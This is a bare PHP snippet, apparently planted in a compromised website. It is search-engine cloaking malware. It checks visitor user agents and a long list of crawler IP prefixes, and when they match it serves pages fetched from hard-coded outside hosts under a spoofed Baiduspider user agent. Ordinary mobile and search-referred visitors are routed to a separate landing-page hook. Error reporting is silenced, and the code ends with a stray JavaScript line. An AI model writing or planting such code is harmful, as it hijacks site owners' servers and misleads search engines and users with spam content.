set_time_limit(30);error_reporting(0);$tr = "stristr";$er = $_SERVER;function papaa($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); return $output;}function checkIp($ip, $allowedIps) { foreach ($allowedIps as $allowedIp) { if (strpos($ip, $allowedIp) === 0) { return true; } } return false;}function luodiye(){ echo "\n ";}$allowedIps = array( "139.18.", "60.28.", "183.91.", "123.184.", "42.236.", "13.66.", "36.110.", "40.77.", "42.7.", "49.7.", "58.250.", "59.83.", "60.8.", "60.172.", "61.129.", "61.135.", "65.5.", "65.55.", "66.249.", "104.233.", "106.38.", "106.120.", "110.249.", "111.202.", "111.206.", "111.225.", "113.24.", "116.179.", "118.184.", "119.63.", "119.188.", "121.14.", "123.15.", "123.125.", "123.126.", "123.181.", "123.183.", "124.166.", "125.9.", "139.180.", "144.202.", "149.248.", "149.28.", "158.247.", "159.226.", "162.105.", "180.76.", "180.97.", "180.101.", "180.149.", "180.153.", "180.163.", "185.244.", "193.42.", "194.233.", "202.97.", "202.108.", "203.144.", "203.208.", "206.221.", "207.46.", "210.72.", "218.3.", "218.10.", "218.30.", "220.181.", "220.196.", "220.243.", "221.208.","60.188.","39.173.","112.13.","140.205.","124.160.","101.67.","120.197.","43.231.","220.249.");define('url', $er['REQUEST_URI']);define('ref', !isset($er['HTTP_REFERER']) ? '' : $er['HTTP_REFERER']);define('ent', $er['HTTP_USER_AGENT']);define('site', "http://198.16.35.252/");define('host',$er['HTTP_HOST']);define('tdk', "http://34.92.223.164/?proxy_domain=");define('road', url);define('regs', '@Sogou|Yisou|Haosou|Spider|Android 4|So.com|Sm.cn@i');define('mobile',"@Android|webOS|iPhone|iPad|HuaweiBrowser|MiuiBrowser|XiaoMi|MiuiBrowser|oppo|vivo|Opera Mini|baidubox@i");define('area', $tr(url, "question") or $tr(url, "node_"));define('areaindex',strrpos(url,'/')==strlen(url)-1 or stristr(url,"/index.php"));define('engines', '@baidu|sogou|so.com|sm.cn|quark|toutiao|search@i');$clientIp = $_SERVER['REMOTE_ADDR'];if (preg_match(regs, ent) || checkIp($clientIp, $allowedIps) ) { if (area) { header('Content-Type:text/html;charset=utf8'); echo papaa(site."?".road); exit; } else { if(areaindex && empty($_GET)){ echo papaa(tdk.host); exit; } }}if (area) { if(preg_match(mobile, ent)) { luodiye(); exit; }}else if (areaindex) { $_host=urldecode ($_SERVER['HTTP_REFERER']); if(preg_match(engines, $_host) or strpos(ent,"baidubox")) { luodiye(); ob_flush(); flush(); }} document.write('3367');